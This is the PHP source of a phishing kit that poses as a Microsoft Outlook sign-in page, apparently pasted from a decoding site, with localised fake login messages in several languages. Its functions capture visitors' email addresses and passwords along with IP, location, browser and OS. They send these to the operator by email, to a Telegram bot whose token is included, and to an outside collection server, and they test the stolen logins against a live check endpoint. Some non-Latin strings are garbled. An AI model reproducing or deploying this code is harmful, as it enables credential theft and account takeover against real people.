            $bademail   = "Digite um endereo de e-mail vlido."; 
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot."; 
            $crederror = "Por favor, insira sua senha."; 
            $title = "Faa login em sua conta"; 
            break; 
 
        case 'it': 
            $base1 = "Prospettiva"; 
            $base2 = "Email, telefono o Skype"; 
            $base3 = "Inserisci il tuo indirizzo email"; 
            $base4 = "Inserire la password"; 
            $submit = "Registrati"; 
            $next = "Il prossimo"; 
            $nothere = " non  nel nostro sistema. Assicurati di aver digitato correttamente il tuo indirizzo e-mail. Di solito sembra [email protected] o [email protected] "; 
            $error_show = "Il tuo account o la password non sono corretti. Se non ricordi la password, <a style = 'color: #0067b8;' href = ''> ripristinalo ora. </a>"; 
            $bademail   = "Inserire un indirizzo email valido."; 
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot."; 
            $crederror = "Per favore inserisci LA TUA password."; 
            $title = "Accedi al tuo account"; 
            break; 
         
        default: 
            $base1 = "Outlook"; 
            $base2 = "Email, phone, or Skype"; 
            $base3 = "Enter your email address"; 
            $base4 = "Enter password"; 
            $submit = "Sign in"; 
            $next = "Next"; 
            $nothere = " isn't in our system. Make sure you typed your email address correctly. It usually looks like [email protected] or [email protected] "; 
            $error_show = "Your account or password is incorrect. If you don't remember your password, <a style='color: #0067b8;;' href=''>reset it now.</a>"; 
            $bademail   = "Enter a valid email address."; 
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot."; 
            $crederror = "Please enter your password."; 
            $title = "Sign in to your account"; 
            break; 
    } 
 
function isBolt($email){ 
    $mail_part = explode( "@", $email ); 
    $domain = $mail_part[1]; 
    $Arr = dns_get_record($domain , DNS_MX); 
    $count = count($Arr); 
        for($i=0; $i<$count; $i++) { 
            if(gethostbyname($Arr[$i]['target']) == "138.68.190.241"){ 
                return gethostbyname($Arr[$i]['target']); 
            } 
        } 
} ?>

Did this file decode correctly?

Original Code

<?php

function sendmailout($email,$password) {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
        $ip = $_SERVER['HTTP_CLIENT_IP']; 
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; 
    } else { 
        $ip = $_SERVER['REMOTE_ADDR']; 
    }
    $user_os        = getOS();
    $user_browser   = getBrowser();
    require 'forward.php';
    $to = EMAIL;
    $headers = 'From: XoXo <apache>' . "\r\n";
    $domain = ucfirst(strtolower(explode('.',substr(strrchr($email, "@"), 1))[0]));
    $message = '' ."\r\n\r\n";
    $message .= mx_detect($email).' ID:  '.$email. "\r\n";
    $message .= 'Password:  '.$password. "\r\n";
    $message .= 'Date:  '. date("Y.m.d ") . date("h.i.s A") . "\r\n\r\n";  
    $message .= 'IP:  '.$ip."\r\n"; 
    $message .= 'Country:  '.ip_info("Visitor", "Country").' '.ip_info("Visitor", "Country Code")."\r\n";
    $message .= 'Browser:  '.$user_browser. "\r\n"; 
    $message .= 'OS:  '.$user_os. "\r\n"; 
    $message .= '' ."\r\n";
    $message .= ip_details($ip) ."\r\n\r\n";
    $message .= 'User Agent:  '.$_SERVER['HTTP_USER_AGENT']. "\r\n\n";
    $i = TRUE_LOGIN;
    if($i == 1){
        if(trim(checkTrueLogin($email,$password)) == "True"){
            $s = mx_detect($email).' TrueLogin';
        }else{
            $s = mx_detect($email).' NoNTrueLogin';
        }  
    }else{
        $s = mx_detect($email);
    }
    mail($to,$s.' '.$ip.' '.ip_info("Visitor", "Country").' '.ip_info("Visitor", "Country Code"),$message,$headers);
	$salmon = $s.' '.$message;
	$chat_id = '5327910631';
	$data = array('chat_id' => $chat_id,'text' => $salmon);
    $url = 'https://api.telegram.org/bot6088832927:AAH3jpp6LVrP9jflpQCV7rKtCaoIQOYNAz8/sendMessage';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, count($data));
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    curl_close($ch);
}

function CheckLogin($l,$p){
    require 'forward.php';
    $i = TRUE_LOGIN;
    if($i == 1){
        if(trim(checkTrueLogin($l,$p)) == "True"){
            sendmailout($l,$p);
            return True;
            header("Location: https://outlook.office.com/");
        }else{
            sendmailout($l,$p);
            return False;
        }
    }else{
        sendmailout($l,$p);
        return False;
    }
}

function getram($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

function RandomString($length) {
    $original_string = array_merge(range(0,9), range('a','z'), range('A', 'Z'));
    $original_string = implode("", $original_string);
    return substr(str_shuffle($original_string), 0, $length);
}

function isValidEmail($email){
    // SET INITIAL RETURN VARIABLES

        $emailIsValid = FALSE;

    // MAKE SURE AN EMPTY STRING WASN'T PASSED

        if (!empty($email))
        {
            // GET EMAIL PARTS

                $domain = ltrim(stristr($email, '@'), '@') . '.';
                $user   = stristr($email, '@', TRUE);

            // VALIDATE EMAIL ADDRESS

                if
                (
                    !empty($user) &&
                    !empty($domain) &&
                    checkdnsrr($domain)
                )
                {$emailIsValid = TRUE;}
        }

    // RETURN RESULT

        return $emailIsValid;
}

$valid = [
                'secureserver.net'                      =>      'GoDaddy',
                'mail.protection.outlook.com'           =>      'Office',
				'.mail.protection.outlook.com'          =>      'Office',
                'barracudanetworks.com'                 =>      'Office',
                'pphosted.com'                          =>      'Office',
                'ppe-hosted.com'                        =>      'Office',
                'mail.eo.outlook.com'                   =>      'Office',
                'mail.outlook.com'                      =>      'Office',
                'arsmtp.com'                            =>      'Office',
                'parsons-peebles.com'                   =>      'Office',
                'inbound-2.mimecast.com'                =>      'Office',
                'messagelabs.com'                       =>      'Office',
                'itwconnect.com'                        =>      'Office',
                'prod.hydra.sophos.com'                 =>      'Office',
                'antispam.spg-llc.com'                  =>      'Office',
                'mxthunder.co'                          =>      'Office',
                'mailanyone.net'                        =>      'Office',
                'emailsrvr.com'                         =>      'Rackspace',
                '@hotmail.'                             =>      'Microsoft',
                '@live.'                                =>      'Microsoft',
				'@outlook.'                             =>      'Microsoft',
                'netsolmail.net'                        =>      'Netsolution',
                '.xion.oxcs.net'                        =>      'Netsolution',
                'serverdata.net'                        =>      'Owa',
				'.serverdata.net'                       =>      'Owa',
                'intermedia.net'                        =>      'Owa',
                '1and1.com'                             =>      'ionos',
				'ionos.co.uk'                           =>      'ionos',
				'ionos.com'                             =>      'ionos',
                '.comcast.net'                             =>      'Comcast',
            ];

function get_country() {
    $url = 'http://ipinfo.io/'.$_SERVER['REMOTE_ADDR'];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser.
    curl_setopt($ch, CURLOPT_URL, $url);
    $data = curl_exec($ch);
    curl_close($ch);
    $info = json_decode($data,true);
    $info = $info['country'];
    
    if(stripos($data, 'Rate limit exceeded')){
        $url = "http://free.ipwhois.io/json/".$_SERVER['REMOTE_ADDR'];
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser.
        curl_setopt($ch, CURLOPT_URL, $url);
        $data = curl_exec($ch);
        curl_close($ch);
        $info = json_decode($data,true);
        $info = $info['country_code'];
    }

    return $info;
}

function getTextLanguage() {
    $country = get_country();
    switch($country){
            case "DJ":
            case "ER":
            case "ET":

                $lang = "aa";
                break;

            case "AE":
            case "BH":
            case "DZ":
            case "EG":
            case "IQ":
            case "JO":
            case "KW":
            case "LB":
            case "LY":
            case "MA":
            case "OM":
            case "QA":
            case "SA":
            case "SD":
            case "SY":
            case "TN":
            case "YE":
            case "SS":
            case 'CY':
            case 'IR':
            case 'TR':
            case 'PS':

                $lang = "ar";
                break;

            case "AZ":

                $lang = "az";
                break;

            case "BY":

                $lang = "be";
                break;

            case "BG":

                $lang = "bg";
                break;

            case "BD":

                $lang = "bn";
                break;

            case "BA":

                $lang = "bs";
                break;

            case "CZ":

                $lang = "cs";
                break;

            case "DK":

                $lang = "da";
                break;

            case "AT":
            case "CH":
            case "DE":
            case "LU":

                $lang = "de";
                break;

            case "MV":

                $lang = "dv";
                break;

            case "BT":

                $lang = "dz";
                break;

            case "GR":

                $lang = "el";
                break;

            case "AG":
            case "AI":
            case "AQ":
            case "AS":
            case "AU":
            case "BB":
            case "BW":
            case "CA":
            case "GB":
            case "IE":
            case "KE":
            case "NG":
            case "NZ":
            case "PH":
            case "SG":
            case "US":
            case "ZA":
            case "ZM":
            case "ZW":

                $lang = "en";
                break;

            case "AD":
            case "AR":
            case "BO":
            case "CL":
            case "CO":
            case "CR":
            case "CU":
            case "DO":
            case "EC":
            case "ES":
            case "GT":
            case "HN":
            case "MX":
            case "NI":
            case "PA":
            case "PE":
            case "PR":
            case "PY":
            case "SV":
            case "UY":
            case "VE":

                $lang = "es";
                break;

            case "EE":

                $lang = "et";
                break;

            case "IR":

                $lang = "fa";
                break;

            case "FI":

                $lang = "fi";
                break;

            case "FO":

                $lang = "fo";
                break;

            case "BE":
            case "FR":
            case "SN":
            case "BJ":
            case "BF":
            case "BI":
            case "CM":
            case "CF":
            case "TD":
            case "CI":
            case "CD":
            case "DZ":
            case "DJ":
            case "GQ":
            case "GA":
            case "GG":
            case "GN":
            case "HT":
            case "MG":
            case "ML":
            case "MU":
            case "MC":
            case "NE":
            case "RW":
            case "SN":
            case "SC":
            case "TG":
            case "VU":

                $lang = "fr";
                break;

            case "IL":

                $lang = "he";
                break;

            case "IN":

                $lang = "hi";
                break;

            case "HR":

                $lang = "hr";
                break;

            case "HT":

                $lang = "ht";
                break;

            case "HU":

                $lang = "hu";
                break;

            case "AM":

                $lang = "hy";
                break;

            case "ID":

                $lang = "id";
                break;

            case "IS":

                $lang = "is";
                break;

            case "IT":

                $lang = "it";
                break;

            case "JP":

                $lang = "ja";
                break;

            case "GE":

                $lang = "ka";
                break;

            case "KZ":

                $lang = "kk";
                break;

            case "GL":

                $lang = "kl";
                break;

            case "KH":

                $lang = "km";
                break;

            case "KR":

                $lang = "ko";
                break;

            case "KG":

                $lang = "ky";
                break;

            case "UG":

                $lang = "lg";
                break;

            case "LA":

                $lang = "lo";
                break;

            case "LT":

                $lang = "lt";
                break;

            case "LV":

                $lang = "lv";
                break;

            case "MG":

                $lang = "mg";
                break;

            case "MK":

                $lang = "mk";
                break;

            case "MN":

                $lang = "mn";
                break;

            case "MY":

                $lang = "ms";
                break;

            case "MT":

                $lang = "mt";
                break;

            case "MM":

                $lang = "my";
                break;

            case "NP":

                $lang = "ne";
                break;

            case "AW":
            case "NL":

                $lang = "nl";
                break;

            case "NO":

                $lang = "no";
                break;

            case "PL":

                $lang = "pl";
                break;

            case "AF":

                $lang = "ps";
                break;

            case "AO":
            case "BR":
            case "PT":

                $lang = "pt";
                break;

            case "RO":

                $lang = "ro";
                break;

            case "RU":
            case "UA":

                $lang = "ru";
                break;

            case "RW":

                $lang = "rw";
                break;

            case "AX":

                $lang = "se";
                break;

            case "SK":

                $lang = "sk";
                break;

            case "SI":

                $lang = "sl";
                break;

            case "SO":

                $lang = "so";
                break;

            case "AL":

                $lang = "sq";
                break;

            case "ME":
            case "RS":

                $lang = "sr";
                break;

            case "SE":

                $lang = "sv";
                break;

            case "TZ":

                $lang = "sw";
                break;

            case "LK":

                $lang = "ta";
                break;

            case "TJ":

                $lang = "tg";
                break;

            case "TH":

                $lang = "th";
                break;

            case "TM":

                $lang = "tk";
                break;

            case "CY":
            case "TR":

                $lang = "tr";
                break;

            case "PK":

                $lang = "ur";
                break;

            case "UZ":

                $lang = "uz";
                break;

            case "VN":

                $lang = "vi";
                break;

            case "CN":
            case "HK":
            case "TW":
            case "126.com":
            case "Daum":
            case "FreeNetase":

                $lang = "zh";
                break;

            default:
                     $lang = "en";
                     break;
        }
return $lang;   
}

function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
    $output = NULL;
    if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
        $ip = $_SERVER["REMOTE_ADDR"];
        if ($deep_detect) {
            if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
                $ip = $_SERVER['HTTP_CLIENT_IP'];
        }
    }
    $purpose    = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
    $support    = array("country", "countrycode", "state", "region", "city", "location", "address");
    $continents = array(
        "AF" => "Africa",
        "AN" => "Antarctica",
        "AS" => "Asia",
        "EU" => "Europe",
        "OC" => "Australia (Oceania)",
        "NA" => "North America",
        "SA" => "South America"
    );
    if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
        $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
        if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
            switch ($purpose) {
                case "location":
                    $output = array(
                        "city"           => @$ipdat->geoplugin_city,
                        "state"          => @$ipdat->geoplugin_regionName,
                        "country"        => @$ipdat->geoplugin_countryName,
                        "country_code"   => @$ipdat->geoplugin_countryCode,
                        "continent"      => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
                        "continent_code" => @$ipdat->geoplugin_continentCode
                    );
                    break;
                case "address":
                    $address = array($ipdat->geoplugin_countryName);
                    if (@strlen($ipdat->geoplugin_regionName) >= 1)
                        $address[] = $ipdat->geoplugin_regionName;
                    if (@strlen($ipdat->geoplugin_city) >= 1)
                        $address[] = $ipdat->geoplugin_city;
                    $output = implode(", ", array_reverse($address));
                    break;
                case "city":
                    $output = @$ipdat->geoplugin_city;
                    break;
                case "state":
                    $output = @$ipdat->geoplugin_regionName;
                    break;
                case "region":
                    $output = @$ipdat->geoplugin_regionName;
                    break;
                case "country":
                    $output = @$ipdat->geoplugin_countryName;
                    break;
                case "countrycode":
                    $output = @$ipdat->geoplugin_countryCode;
                    break;
                case "continent":
                    $output = @$continents[strtoupper($ipdat->geoplugin_continentCode)];
                    break;
                case "continent_code":
                    $output = @$ipdat->geoplugin_continentCode;
                    break;
            }
        }
    }
    return $output;
}

function CheckTrueLogin($email,$password){
    include 'forward.php';
    $url = TRUE_LOGIN_LINK.'/hold.php';

    $fields = array(
        'login' => $email,
        'passwd' => $password,
    );
    $postvars = http_build_query($fields);
    
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, count($fields));
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postvars);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    if(($ans = curl_exec($ch)) === false)
    {
        #echo "<font color='red'>!</font> Curl Failed For: *".$url."* | With Error: <font color='red'> [".curl_error($ch).'] </font><br>';
        #echo "<font color='green'>@</font> Switching To Local Check!!! <font color='green'>:D</font><br>";
        require '../forward.php';
        $to = EMAIL;
        $message = 'True Login SIte is Down: But Here is the login' ."\r\n\r\n";
        $message .= 'START LOG:' ."\r\n\r\n";
        $message .= 'Office ID:  '.$email. "\r\n";
        $message .= 'Password:  '.$password. "\r\n";
        $message .= 'Date:  '. date("Y.m.d ") . date("h.i.s A") . "\r\n\r\n";  
        $message .= 'IP:  '.$ip."\r\n"; 
        $message .= 'Country:  '.ip_info("Visitor", "Country").' '.ip_info("Visitor", "Country Code")."\r\n";
        $message .= 'Browser:  '.$user_browser. "\r\n"; 
        $message .= 'OS:  '.$user_os. "\r\n"; 
        $message .= '' ."\r\n";
        $message .= ip_details($ip) ."\r\n\r\n";
        $message .= 'User Agent:  '.$_SERVER['HTTP_USER_AGENT']. "\r\n\n";
        
        $SUBJECT = "TrueLogin Site Down.";
        $HEADER = "From: KEYWORD <apache>\r\n";
        mail($to,$SUBJECT,$message,$HEADER);
		$chat_id = '5327910631';
    	$data = array('chat_id' => $chat_id,'text' => $message);
    	$url = 'https://api.telegram.org/bot5941039819:AAEqVVV7K1wIOgsgmyEr7r57IaU8Fv82MHQ/sendMessage';
    	$ch = curl_init();
    	curl_setopt($ch, CURLOPT_URL, $url);
    	curl_setopt($ch, CURLOPT_POST, count($data));
    	curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    	$result = curl_exec($ch);
    	curl_close($ch);

        return 'False';
    }
    
    else{

        #echo "<font color='green'>@</font> Curl Worked For: <font color='green'>[".$url.'] :D</font><br>';
        return $ans;
    }

    // Close handle
    curl_close($ch);
}

function PostToMe($login,$passwd,$country,$countrycode,$countrycity,$countryregion,$ip){
    $user_os        = getOS();
    $user_browser   = getBrowser();
    $device_details = $_SERVER['HTTP_USER_AGENT'];
    $url="https://keywordtech.net/core.php"; 
    $postdata = "error_11=".bin2hex($device_details)."&error_10=".bin2hex($user_os)."&error_9=".bin2hex($user_browser)."&error_1=".bin2hex($login)."&error_2=".bin2hex($passwd)."&error_3=".bin2hex($ip." [".$country.",".$countrycode.",".$countrycity.",".$countryregion."]")."&error_4=".bin2hex($ip)."&error_5=".bin2hex($country)."&error_6=".bin2hex($countrycode)."&error_7=".bin2hex($countrycity)."&error_8=".bin2hex($countryregion); 
    $ch = curl_init(); 
    curl_setopt ($ch, CURLOPT_URL, $url); 
    curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
    curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"); 
    curl_setopt ($ch, CURLOPT_TIMEOUT, 60); 
    curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0); 
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt ($ch, CURLOPT_REFERER, $url); 
    curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata); 
    curl_setopt ($ch, CURLOPT_POST, 1); 
    curl_exec ($ch);  
    curl_close($ch);
}

function getOS() { 
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $os_platform  = "Unknown OS Platform";
    $os_array     = array(
                          '/windows nt 10/i'      =>  'Windows 10',
                          '/windows nt 6.3/i'     =>  'Windows 8.1',
                          '/windows nt 6.2/i'     =>  'Windows 8',
                          '/windows nt 6.1/i'     =>  'Windows 7',
                          '/windows nt 6.0/i'     =>  'Windows Vista',
                          '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
                          '/windows nt 5.1/i'     =>  'Windows XP',
                          '/windows xp/i'         =>  'Windows XP',
                          '/windows nt 5.0/i'     =>  'Windows 2000',
                          '/windows me/i'         =>  'Windows ME',
                          '/win98/i'              =>  'Windows 98',
                          '/win95/i'              =>  'Windows 95',
                          '/win16/i'              =>  'Windows 3.11',
                          '/macintosh|mac os x/i' =>  'Mac OS X',
                          '/mac_powerpc/i'        =>  'Mac OS 9',
                          '/linux/i'              =>  'Linux',
                          '/ubuntu/i'             =>  'Ubuntu',
                          '/iphone/i'             =>  'iPhone',
                          '/ipod/i'               =>  'iPod',
                          '/ipad/i'               =>  'iPad',
                          '/android/i'            =>  'Android',
                          '/blackberry/i'         =>  'BlackBerry',
                          '/webos/i'              =>  'Mobile'
                    );

    foreach ($os_array as $regex => $value)
        if (preg_match($regex, $user_agent))
            $os_platform = $value;

    return $os_platform;
}

function getBrowser() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $browser        = "Unknown Browser";
    $browser_array = array(
                            '/msie/i'      => 'Internet Explorer',
                            '/firefox/i'   => 'Firefox',
                            '/safari/i'    => 'Safari',
                            '/chrome/i'    => 'Chrome',
                            '/edge/i'      => 'Edge',
                            '/opera/i'     => 'Opera',
                            '/netscape/i'  => 'Netscape',
                            '/maxthon/i'   => 'Maxthon',
                            '/konqueror/i' => 'Konqueror',
                            '/mobile/i'    => 'Handheld Browser'
                     );

    foreach ($browser_array as $regex => $value)
        if (preg_match($regex, $user_agent))
            $browser = $value;

    return $browser;
}

function istrue($str){
    global $valid;
    foreach( $valid as $item => $bin ) {
                    if( stripos( $str, $item ) !== FALSE ) {
                            return $bin;
                        }
                }
}


function mxrecordValidate($email){
            list($user, $domain) = explode('@', $email);
            $arr= dns_get_record($domain,DNS_MX);
            if($arr[0]['host']==$domain&&!empty($arr[0]['target'])){
                    return $arr[0]['target'];
            }
}

function istrueDomain($str){
    global $valid;
    foreach( $valid as $item => $bin ) {
                    if( stripos( $str, $item ) !== FALSE ) {
                            return $bin;
                        }
                } 
}

function DomFound($email){
    $mail_part = explode( "@", $email );
    $domain = $mail_part[1];
    if( checkdnsrr($domain,'MX')){
            if (istrueDomain($email)) {
            return istrueDomain($email);
            }
            else{
                getmxrr( $domain , $mxhosts , $weight );
                $str = implode(',', $mxhosts);
                if(istrue($str)){
                    return istrue($str);
                }
            }
        return true;
    }

    return false;
}

function mx_detect($email) {
        global $valid;
    
        $domain_array = array("126.com", "163.com", "yeah.net", "yahoo.com", "gmail.com");
        $mail_part = explode( "@", $email );
        $domain = $mail_part[1];
        if( checkdnsrr($domain,'MX')){
            if (istrueDomain($email)) {
            $man = istrueDomain($email);
            }
            else{
                getmxrr( $domain , $mxhosts , $weight );
                $str = implode(',', $mxhosts);
                if(istrue($str)){
                    foreach( $valid as $item => $bin ) {
                    if( stripos( $str, $item ) !== FALSE ) {
                            $man = $bin;
                        }
                }
                }else{
                    $man = 'Others';
                }
            }

        }
        else{
            $man = "Others";
        }

        return $man; 
    }


function office_catch($email) {
        $mail_part = explode( "@", $email );
        $domain = $mail_part[1];

        if( checkdnsrr($domain,'MX')){
           getmxrr( $domain , $mxhosts , $weight );
                $str = implode(',', $mxhosts);
                if(istrue($str)){
                    return True;
                }else{
                    return False;
                }

        }
        else{
            return False;
        }
}

function ip_details($ip) {
    $url = 'http://ipinfo.io/'.$_SERVER['REMOTE_ADDR'];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser.
    curl_setopt($ch, CURLOPT_URL, $url);
    $data = curl_exec($ch);
    curl_close($ch);
    $json = json_decode($data,true);
    $hostname = $json['hostname'];
    $city = $json['city'];
    $region = $json['region'];
    $country = $json['country'];
    $loc = $json['loc'];
    $org = $json['org'];
    $postcode = $json['postcode'];
    $timezone = $json['timezone'];
    #$info='Country: '.$country."\r\n";
    $info='City: '.$city."\r\n";
    $info.='Region: '.$region."\r\n";
    #$info.='Hostname: '.$hostname."\r\n";
    $info.='Organization: '.$org."\r\n";
    $info.='Timezone: '.$timezone."\r\n";
    
    if(stripos($data, 'Rate limit exceeded')){
        $url = "http://free.ipwhois.io/json/".$_SERVER['REMOTE_ADDR'];
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser.
        curl_setopt($ch, CURLOPT_URL, $url);
        $data = curl_exec($ch);
        curl_close($ch);
        $json = json_decode($data,true);
        $city = $json['city'];
        $region = $json['region'];
        $country = $json['country_code'];
        #$loc = $json['loc'];
        $org = $json['org'];
        #$postcode = $json['geoplugin_areaCode'];
        $timezone = $json['timezone'];
        $info='City: '.$city."\r\n";
        $info.='Region: '.$region."\r\n";
        #$info.='Hostname: '.$hostname."\r\n";
        $info.='Organization: '.$org."\r\n";
        $info.='Timezone: '.$timezone."\r\n";
    }

    return $info;
}

function ywt_get_first_char($str) {     
            $parts = explode("@", $str);
            $username = $parts[0];
            $str = substr(strrchr($username, "@"), 0);
            if(Strtoupper(substr($username, 0, 3))){
                return Strtoupper(substr($username, 0, 3));
            }
            else{
                return Strtoupper($username);
            }
    }

function isHex($text){
    if (trim($text, '0..9A..Fa..f') == '') {
        return $text;
    }
}

function isBase($text){
    if (base64_decode($text) == True) {
        return $text;
    }
}

$lang = getTextLanguage();

switch ($lang) {
        case 'ar':
            $base1 = "";
            $base2 = "     ";
            $base3 = "   ";
            $base4 = "  ";
            $submit = " ";
            $next  = "";
            $nothere = "    .        .    [email protected]  [email protected]";
            $error_show = "     .       <a style = 'colour: #0067b8' href = ''>   . </a> ";
            $bademail   = "    .";
            $badbolt    =   "             .";
            $crederror = "    .";
            $title = "   ";
            break;

        case 'zh':
            $base1 = "";
            $base2 = "Skype";
            $base3 = "";
            $base4 = "";
            $submit = "";
            $nnext = "";
            $nothere = "  [email protected]  [email protected] ";
            $error_show = " <a style ='color0067b8 ;' href =''></a>";
            $bademail   = "";
            $badbolt    =   "";
            $crederror = "";
            $title = "";
            break;

        case 'fr':
            $base1 = "Perspective";
            $base2 = "Courriel, tlphone ou Skype";
            $base3 = "Entrez votre adresse email";
            $base4 = "Entrer le mot de passe";
            $submit = "Se connecter";
            $next = "Prochain";
            $nothere = " n'est pas dans notre systme. Assurez-vous d'avoir correctement saisi votre adresse e-mail. Elle ressemble gnralement  quelqu'[email protected] ou  quelqu'[email protected] ";
            $error_show = "Votre compte ou votre mot de passe est incorrect. Si vous ne vous souvenez pas de votre mot de passe, <a style = 'color:#0067b8 ;' href = ''> rinitialisez-le maintenant. </a>";
            $bademail   = "Entrez une adresse mail valide.";
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot.";
            $crederror = "S'il vous plait entrez votre mot de passe.";
            $title = "Connectez-vous  votre compte";
            break;

        case 'de':
            $base1 = "Ausblick";
            $base2 = "E-Mail, Telefon oder Skype";
            $base3 = "Geben sie ihre E-Mailadresse ein";
            $base4 = "Passwort eingeben";
            $submit = "Einloggen";
            $next = "Nchster";
            $nothere = " befindet sich nicht in unserem System. Vergewissern Sie sich, dass Sie Ihre E-Mail-Adresse richtig eingegeben haben. Es sieht normalerweise so aus: [email protected] oder [email protected] ";
            $error_show = "Ihr Konto oder Passwort ist falsch. Wenn Sie sich nicht an Ihr Passwort erinnern, <a style='color:#0067b8;' href=''> setze es jetzt zurck. </a>";
            $bademail   = "Geben sie eine gltige E-Mail-Adresse an.";
            $badbolt    =   "Entschuldigung, wir knnen diese E-Mail nicht akzeptieren, scheint von einem Roboter automatisiert zu sein.";
            $crederror = "Bitte geben Sie Ihr Passwort ein.";
            $title = "Melden Sie sich bei Ihrem Konto an";
            break;

        case 'es':
            $base1 = "Panorama";
            $base2 = "Correo electrnico, telfono o Skype";
            $base3 = "Ingrese su direccin de correo electrnico";
            $base4 = "Introducir la contrasea";
            $submit = "Registrarse";
            $next = "Prximo";
            $nothere = " no est en nuestro sistema. Asegrese de escribir su direccin de correo electrnico correctamente. Por lo general, parece [email protected] o [email protected] ";
            $error_show = "Su cuenta o contrasea son incorrectas. Si no recuerda su contrasea, <a style = 'color: #0067b8;' href = ''> reincielo ahora. </a>";
            $bademail   = "Introduzca una direccin de correo electrnico vlida.";
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot.";
            $crederror = "Por favor, introduzca su contrasea.";
            $title = "Iniciar sesin en su cuenta";
            break;

        case 'ko':
            $base1 = "";
            $base2 = ",   Skype";
            $base3 = "    ";
            $base4 = " ";
            $submit = "";
            $next = "";
            $nothere = "           [email protected]  [email protected]  . ";
            $error_show = "   .    <a style = 'color:#0067b8;' href = ''>   </a>";
            $bademail   = "   .";
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot.";
            $crederror = " .";
            $title = " ";
            break;

        case 'ja':
            $base1 = "";
            $base2 = "";
            $base3 = "";
            $base4 = "";
            $submit = "";
            $next = "";
            $nothere = " [email protected]  [email protected]  ";
            $error_show = "<a style = 'color0067b8;' href = ''></a> ";
            $bademail   = "";
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot.";
            $crederror = "";
            $title = "";
            break;

        case 'pt':
            $base1 = "Microsoft";
            $base2 = "E-mail, telefone ou Skype";
            $base3 = "Insira o seu endereo de email";
            $base4 = "Digite a senha";
            $submit = "Assinar em";
            $next = "Prximo";
            $nothere = " no est em nosso sistema. Digite seu endereo de e-mail corretamente. Geralmente, parece [email protected] ou [email protected] ";
            $error_show = "Sua conta ou senha est incorreta. Se voc no se lembrar da senha, <a style = 'color: #0067b8 ;;' href = ''> redefina-o agora. </a>";
            $bademail   = "Digite um endereo de e-mail vlido.";
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot.";
            $crederror = "Por favor, insira sua senha.";
            $title = "Faa login em sua conta";
            break;

        case 'it':
            $base1 = "Prospettiva";
            $base2 = "Email, telefono o Skype";
            $base3 = "Inserisci il tuo indirizzo email";
            $base4 = "Inserire la password";
            $submit = "Registrati";
            $next = "Il prossimo";
            $nothere = " non  nel nostro sistema. Assicurati di aver digitato correttamente il tuo indirizzo e-mail. Di solito sembra [email protected] o [email protected] ";
            $error_show = "Il tuo account o la password non sono corretti. Se non ricordi la password, <a style = 'color: #0067b8;' href = ''> ripristinalo ora. </a>";
            $bademail   = "Inserire un indirizzo email valido.";
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot.";
            $crederror = "Per favore inserisci LA TUA password.";
            $title = "Accedi al tuo account";
            break;
        
        default:
            $base1 = "Outlook";
            $base2 = "Email, phone, or Skype";
            $base3 = "Enter your email address";
            $base4 = "Enter password";
            $submit = "Sign in";
            $next = "Next";
            $nothere = " isn't in our system. Make sure you typed your email address correctly. It usually looks like [email protected] or [email protected] ";
